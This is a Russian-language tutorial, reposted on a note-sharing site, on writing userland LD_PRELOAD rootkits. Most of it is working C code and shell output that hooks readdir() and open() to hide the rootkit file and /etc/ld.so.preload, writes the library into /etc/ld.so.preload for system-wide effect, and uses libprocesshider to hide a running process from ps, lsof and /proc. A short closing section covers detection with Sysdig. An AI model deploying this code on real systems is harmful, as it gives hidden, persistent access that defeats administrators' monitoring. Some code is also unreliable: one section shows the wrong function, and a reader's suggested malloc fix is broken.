MyTetra Share
Делитесь знаниями!
Создание userland-руткитов с помощью LD_PRELOAD
Время создания: 28.10.2022 10:03
Автор: Denis Simonov
Текстовые метки: linux, LD_PRELOAD, подмена, замена, замещение, функция
Раздел: Компьютер - Программирование - Язык C (Си) - Переменная LD_PRELOAD
Запись: xintrea/mytetra_syncro/master/base/1666940614qgosegoamf/text.html на raw.github.com

В юник­сах сущес­тву­ет перемен­ная сре­ды, при ука­зании которой нужные биб­лиоте­ки будут заг­ружать­ся рань­ше осталь­ных. А это зна­чит, что появ­ляет­ся воз­можность под­менить сис­темные вызовы. Называ­ется перемен­ная LD_PRELOAD, и в этой статье мы под­робно обсу­дим ее зна­чение в сок­рытии (и обна­руже­нии!) рут­китов.

Офи­циаль­но глав­ное пред­назна­чение LD_PRELOAD — отладка или про­вер­ка фун­кций в динами­чес­ки под­клю­чаемых биб­лиоте­ках. Если не хочет­ся исправ­лять и переком­пилиро­вать саму биб­лиоте­ку, то мож­но вос­поль­зовать­ся перемен­ной сре­ды.

К при­меру, если нам нуж­но пред­загру­зить биб­лиоте­ку ld.so, то у нас будет два спо­соба:


  1. Ус­тановить перемен­ную сре­ды LD_PRELOAD с фай­лом биб­лиоте­ки.
  2. За­писать путь к биб­лиоте­ке в файл /etc/ld.so.preload.


В пер­вом слу­чае мы объ­явля­ем перемен­ную с биб­лиоте­кой для текуще­го поль­зовате­ля и его окру­жения. Во вто­ром же наша биб­лиоте­ка будет заг­ружена рань­ше осталь­ных для всех поль­зовате­лей сис­темы.

Нам инте­ресен как раз вто­рой спо­соб: имен­но он час­то исполь­зует­ся в рут­китах для перех­вата некото­рых вызовов, таких как чте­ние фай­ла, лис­тинг дирек­тории, про­цес­сов и про­чих фун­кций, поз­воля­ющих зло­умыш­ленни­ку скры­вать свое при­сутс­твие в сис­теме.

В осно­ве это­го иссле­дова­ния — пуб­ликация Абхи­нава Тха­кура Crafting LD_PRELOAD Rootkits in Userland.

 

Переопределение системных вызовов

Преж­де чем мы нач­нем сбли­жение с реаль­ными фун­кци­ями рут­китов, давай на неболь­шом при­мере покажу, как мож­но перех­ватить вызов стан­дар­тной фун­кции malloc().

Для это­го напишем прос­тую прог­рамму, которая выделя­ет блок памяти с помощью фун­кции malloc(), затем помеща­ет в него фун­кци­ей strncpy() стро­ку «I’ll be back» и выводит ее пос­редс­твом fprintf() по адре­су, который вер­нула malloc().

Соз­даем файл call_malloc.c:



#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>


int main()

{

char *alloc = (char *)malloc(0x100);

strncpy(alloc, "I'll be back\0", 14);

fprintf(stderr, "malloc(): %p\nStr: %s\n", alloc, alloc);

}



Те­перь напишем прог­рамму, пере­опре­деля­ющую malloc(). Внут­ри — фун­кция с тем же име­нем, что и в libc. Наша фун­кция не дела­ет ничего, кро­ме вывода стро­ки в STDERR c помощью fprintf().

Соз­дадим файл libmalloc.c:



#define _GNU_SOURCE

#include <dlfcn.h>

#include <stdlib.h>

#include <stdio.h>


void *malloc(size_t size)

{

fprintf(stderr, "\nHijacked malloc(%ld)\n\n", size);

return 0;

}



Те­перь с помощью GCC ском­пилиру­ем наш код:



$ ls

call_malloc.c libmalloc.c

$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl

$ gcc -o call_malloc call_malloc.c

$ ls

call_malloc call_malloc.c libmalloc.c libmalloc.so



Вы­пол­ним нашу прог­рамму call_malloc:



$ ./call_malloc

malloc(): 0x5585b2466260

Str: I'll be back



Пос­мотрим, какие биб­лиоте­ки исполь­зует наша прог­рамма, с помощью ути­литы ldd:



$ ldd ./call_malloc

linux-vdso.so.1 (0x00007fff0cd81000)

libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0d35c74000)

/lib64/ld-linux-x86-64.so.2 (0x00007f0d35e50000)



От­лично вид­но, что без исполь­зования пред­загруз­чика LD_PRELOAD стан­дар­тно заг­ружа­ются три биб­лиоте­ки:


  1. linux-vdso.so.1 — пред­став­ляет собой вир­туаль­ный динами­чес­кий раз­деля­емый объ­ект (Virtual Dynamic Shared Object, vDSO), который при­меня­ется для опти­миза­ции час­то исполь­зуемых сис­темных вызовов. Его мож­но игно­риро­вать (под­робнее — man 7 vdso).
  2. libc.so.6 — биб­лиоте­ка libc с исполь­зуемой нами фун­кци­ей malloc() в прог­рамме call_malloc.
  3. ld-linux-x86-64.so.2 — сам динами­чес­кий ком­понов­щик.


Те­перь давай опре­делим перемен­ную LD_PRELOAD и поп­робу­ем перех­ватить malloc(). Здесь я не буду исполь­зовать export и огра­ничусь однос­троч­ной коман­дой для прос­тоты:



$ LD_PRELOAD=./libmalloc.so ./call_malloc

Hijacked malloc(256)

Ошиб­ка сег­менти­рова­ния



Мы успешно перех­ватили malloc() из биб­лиоте­ки libc.so, но сде­лали это не сов­сем чис­то. Фун­кция воз­вра­щает зна­чение ука­зате­ля NULL, что при разыме­нова­нии strncpy() в прог­рамме ./call_malloc вызыва­ет ошиб­ку сег­менти­рова­ния. Испра­вим это.

 

Обработка сбоев

Что­бы иметь воз­можность незамет­но выпол­нить полез­ную наг­рузку рут­кита, нам нуж­но вер­нуть зна­чение, которое вер­нула бы пер­воначаль­но выз­ванная фун­кция. У нас есть два спо­соба решить эту проб­лему:


  • на­ша фун­кция malloc() дол­жна реали­зовы­вать фун­кци­ональ­ность malloc() биб­лиоте­ки libc по зап­росу поль­зовате­ля. Это пол­ностью изба­вит от необ­ходимос­ти исполь­зовать malloc() из libc.so;
  • libmalloc.so каким‑то обра­зом дол­жна иметь воз­можность вызывать malloc() из биб­лиоте­ки libc и воз­вра­щать резуль­таты вызыва­ющей прог­рамме.


Каж­дый раз при вызове malloc() динами­чес­кий ком­понов­щик вызыва­ет вер­сию malloc() из libmalloc.so, пос­коль­ку это пер­вое вхож­дение malloc(). Но мы хотим выз­вать сле­дующее вхож­дение malloc() — то, что находит­ся в libc.so.

Так про­исхо­дит потому, что динами­чес­кий ком­понов­щик внут­ри исполь­зует фун­кцию dlsym() из /usr/include/dlfcn.h для поис­ка адре­са, заг­ружен­ного в память.

По умол­чанию в качес­тве пер­вого аргу­мен­та для dlsym() исполь­зует­ся дес­крип­тор RTLD_DEFAULT, который воз­вра­щает адрес пер­вого вхож­дения сим­вола. Одна­ко есть еще один псев­доука­затель динами­чес­кой биб­лиоте­ки — RTLD_NEXT, который ищет сле­дующее вхож­дение. Исполь­зуя RTLD_NEXT, мы можем най­ти фун­кцию malloc() биб­лиоте­ки libc.so.

От­редак­тиру­ем libmalloc.с. Ком­мента­рии объ­ясня­ют, что про­исхо­дит внут­ри прог­раммы:



#define _GNU_SOURCE

#include <dlfcn.h>

#include <dirent.h>

#include <stdlib.h>

#include <stdio.h>

#include <string.h>


// Определяем макрос, который является

// названием скрываемого файла

#define RKIT "rootkit.so"


// Здесь все то же, что и в примере с malloc()

struct dirent* (*orig_readdir)(DIR *) = NULL;


struct dirent *readdir(DIR *dirp)

{

if (orig_readdir == NULL)

orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");


// Вызов orig_readdir() для получения каталога

struct dirent *ep = orig_readdir(dirp);

while ( ep != NULL && !strncmp(ep->d_name, RKIT, strlen(RKIT)) )

ep = orig_readdir(dirp);


return ep;

}



В цик­ле про­веря­ется, не NULL ли зна­чение дирек­тории, затем вызыва­ется strncmp() для про­вер­ки, сов­пада­ет ли d_name катало­га с RKIT (фай­ла с рут­китом). Если оба усло­вия вер­ны, вызыва­ется фун­кция orig_readdir() для чте­ния сле­дующей записи катало­га. При этом про­пус­кают­ся все дирек­тории, у которых d_name начина­ется с rootkit.so.

Те­перь давай пос­мотрим, как отра­бота­ет наша биб­лиоте­ка в этот раз. Сно­ва ком­пилиру­ем и смот­рим на резуль­тат работы:



$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl

$ LD_PRELOAD=./libmalloc.so ./call_malloc

Hijacked malloc(256)

malloc(): 0x55ca92740260

Str: I'll be back



От­лично! Как мы видим, все прош­ло глад­ко. Сна­чала при пер­вом вхож­дении malloc() была исполь­зована наша реали­зация этой фун­кции, а затем ори­гиналь­ная реали­зация из биб­лиоте­ки libc.so.

Те­перь, ког­да мы понима­ем, как работа­ет LD_PRELOAD и каким обра­зом мы можем пре­доп­ределять работу со стан­дар­тны­ми фун­кци­ями сис­темы, самое вре­мя при­менить эти зна­ния на прак­тике.

Поп­робу­ем сде­лать так, что­бы ути­лита ls, ког­да выводит спи­сок фай­лов, про­пус­кала рут­кит.

 

Скрываем файл из листинга ls

Боль­шинс­тво динами­чес­ки ском­пилиро­ван­ных прог­рамм исполь­зуют сис­темные вызовы стан­дар­тной биб­лиоте­ки libc. С помощью ути­литы ldd пос­мотрим, какие биб­лиоте­ки исполь­зует прог­рамма ls:



$ ldd /bin/ls

...

libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1ade498000)

...



По­луча­ется, ls динами­чес­ки ском­пилиро­вана с исполь­зовани­ем фун­кций биб­лиоте­ки libc.so. Теперь пос­мотрим, какие сис­темные вызовы для чте­ния дирек­тории исполь­зует ути­лита ls. Для это­го в пус­той дирек­тории выпол­ним ltrace ls:



$ ltrace ls

memcpy(0x55de4a72e9b0, ".\0", 2) = 0x55de4a72e9b0

__errno_location() = 0x7f3a35b07218

opendir(".") = 0x55de4a72e9d0

readdir(0x55de4a72e9d0) = 0x55de4a72ea00

readdir(0x55de4a72e9d0) = 0x55de4a72ea18

readdir(0x55de4a72e9d0) = 0

closedir(0x55de4a72e9d0) = 0



Оче­вид­но, что при выпол­нении коман­ды без аргу­мен­тов ls исполь­зует сис­темные вызовы opendir(), readdir() и closedir(), которые вхо­дят в биб­лиоте­ку libc. Давай теперь задей­ству­ем LD_PRELOAD и пере­опре­делим эти стан­дар­тные вызовы сво­ими. Напишем прос­тую биб­лиоте­ку, в которой изме­ним фун­кцию readdir(), что­бы она скры­вала наш файл с кодом.

Здесь мы уже перехо­дим к написа­нию прос­того рут­кита без наг­рузки. Все, что он будет делать, — это пря­тать сам себя от глаз адми­нис­тра­тора сис­темы.

Я соз­дал дирек­торию rootkit и даль­ше буду работать в ней. Соз­дадим файл rkit.c.



#define _GNU_SOURCE

#include <dlfcn.h>

#include <dirent.h>

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

#define RKIT "rootkit.so"

#define LD_PL "ld.so.preload"

struct dirent* (*orig_readdir)(DIR *) = NULL;

struct dirent *readdir(DIR *dirp)

{

if (orig_readdir == NULL)

orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");

struct dirent *ep = orig_readdir( dirp );

while ( ep != NULL &&

( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||

!strncmp(ep->d_name, LD_PL, strlen(LD_PL))

)) {

ep = orig_readdir(dirp);

}

return ep;

}



Ком­пилиру­ем и про­веря­ем работу:



$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl

$ ls -lah

ито­го 28K

drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .

drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..

-rw-r--r-- 1 n0a n0a 496 ноя 23 23:44 rkit.c

-rwxr-xr-x 1 n0a n0a 16K ноя 23 23:46 rootkit.so

$ LD_PRELOAD=./rootkit.so ls -lah

ито­го 12K

drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .

drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..

-rw-r--r-- 1 n0a n0a 496 ноя 23 23:44 rkit.c



Нам уда­лось скрыть файл rootkit.so от пос­торон­них глаз. Пока мы тес­тирова­ли биб­лиоте­ку исклю­читель­но в пре­делах одной коман­ды.

 

Используем /etc/ld.so.preload

Да­вай вос­поль­зуем­ся записью в /etc/ld.so.preload для сок­рытия нашего фай­ла от всех поль­зовате­лей сис­темы. Для это­го запишем в ld.so.preload путь до нашей биб­лиоте­ки:



# ls

rkit.c rootkit.so

# echo $(pwd)/rootkit.so > /etc/ld.so.preload

# ls

rkit.c



Те­перь мы скры­ли файл ото всех поль­зовате­лей (хотя это не сов­сем так, но об этом поз­же). Но опыт­ный адми­нис­тра­тор доволь­но лег­ко нас обна­ружит, так как само по себе наличие фай­ла /etc/ld.so.preload может говорить о при­сутс­твии рут­кита — осо­бен­но если рань­ше такого фай­ла не было.

 

Скрываем ld.so.preload

Да­вай попыта­емся скрыть из лис­тинга и сам файл ld.so.preload. Нем­ного модифи­циру­ем код rkit.c:



#define _GNU_SOURCE

#include <dlfcn.h>

#include <dirent.h>

#include <stdlib.h>

#include <stdio.h>

#include <string.h>


#define RKIT "rootkit.so"

#define LD_PL "ld.so.preload"


struct dirent* (*orig_readdir)(DIR *) = NULL;


struct dirent *readdir(DIR *dirp)

{

if (orig_readdir == NULL)

orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");


struct dirent *ep = orig_readdir( dirp );

while ( ep != NULL &&

( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||

!strncmp(ep->d_name, LD_PL, strlen(LD_PL))

)) {

ep = orig_readdir(dirp);

}


return ep;

}



Для наг­ляднос­ти я добавил к пре­дыду­щей прог­рамме еще один мак­рос LD_PL c име­нем фай­ла ld.so.preload, который мы так­же добави­ли в цикл while, где срав­нива­ем имя фай­ла для скры­тия.

Пос­ле ком­пиляции исходный файл rootkit.so будет переза­писан и из вывода ути­литы ls про­падет и нуж­ный файл ld.so.preload. Про­веря­ем:



$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl

$ ls

rkit.c

$ ls /etc/

...

ldap tmpfiles.d

ld.so.cache ucf.conf

ld.so.conf udev

ld.so.conf.d udisks2

libao.conf ufw

libaudit.conf update-motd.d

libblockdev UPower

...



Здо­рово! Мы толь­ко что ста­ли на один шаг бли­же к пол­ной кон­спи­рации. Вро­де бы это победа, но не спе­ши радовать­ся.

 

Погружаемся глубже

Да­вай про­верим, смо­жем ли мы про­читать файл ld.so.preload коман­дой cat:



$ cat /etc/ld.so.preload

/root/rootkit/src/rootkit.so



Так‑так‑так. Получа­ется, мы пло­хо спря­тались, если наличие нашего фай­ла мож­но про­верить прос­тым чте­нием. Почему так выш­ло?

Оче­вид­но, что для получе­ния содер­жимого ути­лита cat вызыва­ет дру­гую фун­кцию — не readdir(), которую мы так ста­ратель­но перепи­сыва­ли. Что ж, давай пос­мотрим, что исполь­зует cat:



$ ltrace cat /etc/ld.so.preload

...

__fxstat(1, 1, 0x7ffded9f6180) = 0

getpagesize() = 4096

open("/etc/ld.so.preload", 0, 01) = 3

__fxstat(1, 3, 0x7ffded9f6180) = 0

posix_fadvise(3, 0, 0, 2) = 0

...



На этот раз нам нуж­но порабо­тать с фун­кци­ей open(). Пос­коль­ку мы уже опыт­ные, давай добавим в наш рут­кит фун­кцию, которая при обра­щении к фай­лу /etc/ld.so.preload будет веж­ливо говорить, что фай­ла не сущес­тву­ет (Error no entry или прос­то ENOENT).

Сно­ва модифи­циру­ем rkit.c:



#define _GNU_SOURCE

#include <dlfcn.h>

#include <dirent.h>

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

#include <errno.h>


// Добавляем путь, который использует open()

// для открытия файла /etc/ld.so.preload

#define LD_PATH "/etc/ld.so.preload"

#define RKIT "rootkit.so"

#define LD_PL "ld.so.preload"


struct dirent* (*orig_readdir)(DIR *) = NULL;


// Сохраняем указатель оригинальной функции open

int (*o_open)(const char*, int oflag) = NULL;


struct dirent *readdir(DIR *dirp)

{

if (orig_readdir == NULL)

orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");


struct dirent *ep = orig_readdir( dirp );

while ( ep != NULL &&

( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||

!strncmp(ep->d_name, LD_PL, strlen(LD_PL))

)) {

ep = orig_readdir(dirp);

}


return ep;

}


// Работаем с функцией open()

int open(const char *path, int oflag, ...)

{

char real_path[PATH_MAX];


if(!o_open)

o_open = dlsym(RTLD_NEXT, "open");


realpath(path, real_path);


if(strcmp(real_path, LD_PATH) == 0)

{

errno = ENOENT;

return -1;

}


return o_open(path, oflag);

}



Здесь мы добави­ли кусок кода, который дела­ет то же самое, что и с readdir(). Ком­пилиру­ем и про­веря­ем:



$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl

$ cat /etc/ld.so.preload

cat: /etc/ld.so.preload: Нет такого фай­ла или катало­га



Так гораз­до луч­ше, но это еще далеко не все вари­анты обна­руже­ния /etc/ld.so.preload.

Мы до сих пор можем без проб­лем уда­лить файл, перемес­тить его со сме­ной наз­вания (и тог­да ls сно­ва его уви­дит), поменять ему пра­ва без уве­дом­ления об ошиб­ке. Даже bash услужли­во про­дол­жит его имя при нажатии на Tab.

В хороших рут­китах, экс­плу­ати­рующих лазей­ку с LD_PRELOAD, реали­зован перех­ват сле­дующих фун­кций:


  • listxattr, llistxattr, flistxattr;
  • getxattr, lgetxattr, fgetxattr;
  • setxattr, lsetxattr, fsetxattr;
  • removexattr, lremovexattr, fremovexattr;
  • open, open64, openat, creat;
  • unlink, unlinkat, rmdir;
  • symlink, symlinkat;
  • mkdir, mkdirat, chdir, fchdir, opendir, opendir64, fdopendir, readdir, readdir64;
  • execve.


Раз­бирать под­мену каж­дой из них мы, конеч­но же, не будем. Можешь в качес­тве при­мера перех­вата перечис­ленных фун­кций пос­мотреть рут­кит cub3 — там все те же dlsym() и RTLD_NEXT.

 

Скрываем процесс с помощью LD_PRELOAD

При работе рут­киту нуж­но как‑то скры­вать свою активность от стан­дар­тных ути­лит монито­рин­га, таких как lsof, ps, top.

Мы уже доволь­но деталь­но разоб­рались, как работа­ет пере­опре­деле­ние фун­кций LD_PRELOAD. Для про­цес­сов все то же самое. Более того, стан­дар­тные прог­раммы исполь­зуют в сво­ей работе procfs, вир­туаль­ную фай­ловую сис­тему, которая пред­став­ляет собой интерфейс для вза­имо­дей­ствия с ядром ОС.

Чте­ние и запись в procfs реали­зова­ны так же, как и в обыч­ной фай­ловой сис­теме. То есть, как ты можешь догадать­ся, наш опыт с readdir() здесь при­дет­ся кста­ти. 🙂

 

libprocesshider

Как скрыть активность из монито­рин­га, пред­лагаю рас­смот­реть на хорошем при­мере libprocesshider, который раз­работал Джан­лука Борел­ло (Gianluca Borello), автор Sysdig.com (о Sysdig и методах обна­руже­ния рут­китов LD_PRELOAD мы погово­рим в кон­це статьи).

Да­вай ско­пиру­ем код с GitHub и раз­берем­ся, что к чему:



$ git clone https://github.com/gianlucaborello/libprocesshider

$ cd libprocesshider

$ ls

evil_script.py Makefile processhider.c README.md



В опи­сании к libprocesshider все прос­то: дела­ем make, копиру­ем в /usr/local/lib/ и добав­ляем в /etc/ld.so.preload. Сде­лаем все, кро­ме пос­ледне­го:



$ make

$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl

$ sudo mv libprocesshider.so /usr/local/lib/



Те­перь давай пос­мотрим, каким обра­зом ps получа­ет информа­цию о про­цес­сах. Для это­го запус­тим ltrace:



$ ltrace /bin/ps

...

time(0) = 1606208519

meminfo(0, 4096, 0, 0x7f1787ce9207) = 0

openproc(96, 0, 0, 0) = 0x55c6f9f145c0

readproc(0x55c6f9f145c0, 0x55c6f8258580, 0x7f1787651010, 0) = 0x55c6f8258580

readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 7) = 0x55c6f8258580

readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5) = 0x55c6f8258580

readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5) = 0x55c6f8258580

...



Ин­форма­цию о про­цес­се получа­ем при помощи фун­кции readproc(). Пос­мотрим реали­зацию этой фун­кции в фай­ле readproc.c:



static int simple_nextpid(PROCTAB *restrict const PT, proc_t *restrict const p)

{

static struct direct *ent;

char *restrict const path = PT->path;


for (;;) {

ent = readdir(PT->procfs);

if(unlikely(unlikely(!ent) || unlikely(!ent->d_name)))

return 0;

if(likely(likely(*ent->d_name > '0') && likely(*ent->d_name <= '9')))

break;

}


p->tgid = strtoul(ent->d_name, NULL, 10);

p->tid = p->tgid;

memcpy(path, "/proc/", 6);

strcpy(path+6, ent->d_name);


return 1;

}



Из это­го кода понят­но, что PID про­цес­сов получа­ют, вызывая readdir() в цик­ле for. Дру­гими сло­вами, если нет дирек­тории про­цес­са — нет и самого про­цес­са для ути­лит монито­рин­га. При­веду при­мер час­ти кода libprocesshider, где уже зна­комым нам методом мы скры­ваем дирек­торию про­цес­са:



...

while(1)

{

dir = original_##readdir(dirp);

if(dir) {

char dir_name[256];

char process_name[256];

if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&

strcmp(dir_name, "/proc") == 0 &&

get_process_name(dir->d_name, process_name) &&

strcmp(process_name, process_to_filter) == 0)

{

continue;

}

}


break;

}


return dir;

...



При­чем само имя про­цес­са get_process_name() берет­ся из /proc/pid/stat.

Про­верим наши догад­ки. Для это­го запус­тим пред­лага­емый evil_script.py в фоне:



$ ./evil_script.py 1.2.3.4 1234 &

[1] 3435



3435 — это PID нашего работа­юще­го про­цес­са evil_script.py. Про­верим вывод ути­литы htop и убе­дим­ся, что evil_script.py при­сутс­тву­ет в спис­ке про­цес­сов.




evil_script.py в спис­ке про­цес­сов htop



Про­верим вывод ps и lsof для обна­руже­ния сетевой активнос­ти:



$ sudo ps aux | grep evil_script.py

root 3435 99.5 0.4 19272 8260 pts/1 R 11:48 63:20 /usr/bin/python ./evil_script.py 1.2.3.4 1234

root 3616 0.0 0.0 6224 832 pts/0 S+ 12:52 0:00 grep evil_script.py

$ sudo lsof -ni | grep evil_scri

evil_scri 3435 root 3u IPv4 41410 0t0 UDP 192.168.232.138:52676->1.2.3.4:1234



Те­перь пос­мотрим, сущес­тву­ет ли дирек­тория с PID про­цес­са evil_script.py:



$ sudo ls /proc | grep 3435

3435

$ cat /proc/3435/status

Name: evil_script.py

Umask: 0022

State: R (running)

Tgid: 3435

Ngid: 0

Pid: 3435

...



Все пред­ска­зуемо. Теперь самое вре­мя добавить биб­лиоте­ку libprocesshider.so в пред­загруз­ку гло­баль­но для всей сис­темы. Про­пишем ее в /etc/ld.so.preload:



# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload



Про­веря­ем дирек­торию /proc, а так­же вывод lsof и ps.



$ ls /proc | grep 3435

$ lsof -ni | grep evil_scri

ps aux | grep evil_script.py

root 3707 0.0 0.0 6244 900 pts/0 S+ 13:10 0:00 grep evil_script.py



Ре­зуль­тат налицо. Теперь в /proc нель­зя пос­мотреть дирек­торию с PID скрип­та evil_script.py. Одна­ко ста­тус про­цес­са по‑преж­нему виден в фай­ле /proc/3435/status.



$ cat /proc/3435/status

Name: evil_script.py

Umask: 0022

State: R (running)

Tgid: 3435

Ngid: 0

Pid: 3435

...



По­дыто­жим. В пер­вой час­ти статьи мы изу­чили методы перех­вата фун­кций и их изме­нение, что поз­воля­ет скры­вать рут­киты. А даль­ше про­дела­ли то же самое для скры­тия про­цес­сов от стан­дар­тных ути­лит монито­рин­га.

Как ты догады­ваешь­ся, прос­тые рут­киты, нес­мотря на все хит­рости, под­дают­ся детек­ту. Нап­ример, при помощи манипу­ляций с фай­лом /etc/ld.so.preload или изу­чения исполь­зуемых биб­лиотек через ldd.

Но что делать, если автор рут­кита нас­толь­ко хорош, что захукал все воз­можные фун­кции, ldd мол­чит, а подоз­рения на сетевую или иную активность все же есть?

 

Sysdig как решение

В отли­чие от стан­дар­тных инс­тру­мен­тов, ути­лита Sysdig устро­ена по‑дру­гому. По архи­тек­туре она близ­ка к таким про­дук­там, как libcap, tcpdump и Wireshark.

Спе­циаль­ный драй­вер sysdig-probe перех­ватыва­ет сис­темные события на уров­не ядра, пос­ле чего акти­виру­ется фун­кция ядра tracepoints, которая, в свою оче­редь, запус­кает обра­бот­чики этих событий. Обра­бот­чики сох­раня­ют информа­цию о событии в сов­мес­тно исполь­зуемом буфере. Затем эта информа­ция может быть выведе­на на экран или сох­ранена в тек­сто­вом фай­ле.

Да­вай пос­мотрим, как с помощью Sysdig най­ти evil_script.py. К при­меру, по заг­рузке цен­траль­ного про­цес­сора:



$ sudo sysdig -c topprocs_cpu

CPU% Process PID

---------------------------------------------

99.00% evil_script.py 5979

2.00% sysdig 5997

0.00% sshd 928

0.00% wpa_supplicant 474

0.00% systemd 909

0.00% exim4 850

0.00% sshd 938

0.00% su 948

0.00% in:imklog 472

0.00% in:imuxsock 472



Мож­но пос­мотреть выпол­нение ps. Бонусом Sysdig покажет, что динами­чес­кий ком­понов­щик заг­ружал поль­зователь­скую биб­лиоте­ку libprocesshide рань­ше, чем libc:



$ sudo sysdig proc.name = ps

2731 00:21:52.721054253 1 ps (3351) < execve res=0 exe=ps args=aux. tid=3351(ps) pid=3351(ps) (out)ptid=3111(bash) cwd=/home/gianluca fdlimit=1024 pgft_maj=0 pgft_min=62 vm_size=512 vm_rss=4 vm_swap=0

...

2739 00:21:52.721129329 1 ps (3351) < open fd=3(/usr/local/lib/libprocesshider.so) name=/usr/local/lib/libprocesshider.so flags=1(O_RDONLY) mode=0

2740 00:21:52.721130670 1 ps (3351) > read fd=3(/usr/local/lib/libprocesshider.so) size=832

...

2810 00:21:52.721293540 1 ps (3351) > open

2811 00:21:52.721296677 1 ps (3351) < open fd=3(/lib/x86_64-linux-gnu/libc.so.6) name=/lib/x86_64-linux-gnu/libc.so.6 flags=1(O_RDONLY) mode=0

2812 00:21:52.721297343 1 ps (3351) > read fd=3(/lib/x86_64-linux-gnu/libc.so.6) size=832

...



Схо­жие фун­кции пре­дос­тавля­ют ути­литы SystemTap, DTrace и его све­жая пол­ноцен­ная замена — BpfTrace.


Примечание

OlegFlores: В разделе Обработка сбоев пример исходников не тот.

oza11: Отличная статья, но есть ошибка, код функции malloc, на самом деле является кодом функции readdir, в главе «Обработка сбоев».

Можно сделать так:


#define _GNU_SOURCE

#include

#include

#include


void* (*orig_malloc)(size_t size) = NULL;


void *malloc(size_t size)

{

void *ep = NULL;


if (orig_malloc == NULL) {

//Получение указателя на оригинальный malloc

orig_malloc = (void*(*)(size_t *))dlsym(RTLD_NEXT, «malloc»);


// Вызов malloc

if (orig_malloc != NULL) {

void *ep = orig_malloc(size);

fprintf(stderr, «\nHijacked malloc(%ld)\n\n», size);

}

}


return ep;

}



Так же в этом разделе:
 
MyTetra Share v.0.59
Яндекс индекс цитирования